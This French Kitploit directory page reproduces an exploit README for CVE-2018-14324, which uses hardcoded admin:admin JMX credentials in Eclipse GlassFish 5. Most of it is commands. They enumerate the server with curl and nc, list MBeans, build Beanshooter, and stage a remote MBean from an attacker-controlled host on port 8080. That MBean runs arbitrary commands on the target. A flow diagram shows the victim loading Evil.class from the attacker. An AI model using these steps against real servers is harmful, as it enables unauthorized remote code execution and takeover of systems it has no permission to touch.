Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-14324-Exploit — Piratage d'Eclipse GlassFish - CVE-2018-14324 | Kitploit
Outils/GitHubGitHub/matejsmycka/cve-2018-14324-exploit
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubmatejsmycka/cve-2018-14324-exploit

CVE-2018-14324-Exploit

Piratage d'Eclipse GlassFish - CVE-2018-14324

Voir le dépôt
il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Piratage d'Eclipse GlassFish - CVE-2018-14324

La description de la CVE-2018-14324 n'explique pas pleinement l'impact de cette vulnérabilité. En bref : vous avez accès à Java Management Extensions (JMX) via des identifiants codés en dur admin:admin.

Bien que l'impact soit décrit comme « potentiellement des informations sensibles, effectuer des opérations de base de données ou manipuler la démo via une session JMX RMI », cela n'explique pas ce que signifie la manipulation via la session JMX RMI. Je m'y suis penché uniquement à cause du score CVSS élevé de 9,8 et j'ai découvert qu'il est pratiquement possible d'obtenir une RCE via le MBean javax.management.loading:type=MLet, qui est activé par défaut dans une instance GlassFish 5.

Découverte

Énumérez le serveur GlassFish en examinant la bannière de version.

root@kitploit:~
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'

Si la version est 5, il est vulnérable à la CVE-2018-14324.

Ensuite, vérifiez si le service JMX RMI est actif sur le port 7676.

root@kitploit:~
nc <IP_ADDRESS> 7676

Vous devriez voir la chaîne de connexion au service JMX RMI. Conservez cette chaîne pour une utilisation ultérieure.

Par exemple :

root@kitploit:~
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx

Comme vous pouvez le voir, le nom d'hôte vm31465 est utilisé dans la chaîne de connexion, deux ports sont mentionnés, 8686 et 7676.

  • 7676 est le port JMX RMI utilisé pour la recherche JNDI
  • 8686 est le port de point de terminaison JMX utilisé pour la communication JMX

Vous devriez ajouter vm31465 à votre fichier /etc/hosts en le pointant vers l'adresse IP de . Si vous utilisez Beanshooter, ce n'est pas nécessaire.

Énumération

Mais qu'est-ce que c'est que JMX ? C'est Java Management Extensions (JMX), une technologie qui permet d'implémenter des interfaces de gestion pour les applications Java. Considérez-le comme du SNMP pour les applications Java.

Tout d'abord, vous devez énumérer les MBeans disponibles sur le système cible.

root@kitploit:~
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin

Avec ce script, vous obtiendrez une liste des MBeans, de leurs attributs et de leurs opérations.

Le MBean com.sun.management:type=DiagnosticCommand vous permet d'exécuter des commandes de diagnostic sur la JVM cible. Vous pouvez l'utiliser pour énumérer les propriétés système ; consultez DiagnosticCommand.java pour plus d'informations.

Si vous voyez javax.management.loading:type=MLet, vous devriez pouvoir exploiter la cible. Ce MBean vous permet de charger des classes Java distantes dans la JVM cible. Cependant, le gestionnaire de sécurité Java peut vous empêcher d'exécuter du code arbitraire. Le seul exploit fonctionnel pour la RCE était le module tomka de beanshooter. Les exploits personnalisés étaient bloqués par le gestionnaire de sécurité. Le chargement MLet fonctionnait toujours, mais la classe n'était pas autorisée à exécuter du code.

Exploitation

Utilisez le module tomka de Beanshooter pour exploiter la cible.

root@kitploit:~
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests

## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka

## DEPLOY

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager

## COMMAND EXECUTION

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'

Vous pouvez également déboguer en écrivant votre propre chargeur de MBean et en surveillant si la cible se connecte à votre serveur MLet. Le déroulement est le suivant :

root@kitploit:~
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup

attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file

attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())

Ressources

  • https://www.synack.com/exploits-explained/exploits-explained-java-jmxs-exploitation-problems-and-resolutions/
  • https://nvd.nist.gov/vuln/detail/CVE-2018-14324
  • https://0xdf.gitlab.io/2025/07/29/htb-manage.html#
Télécharger l’outil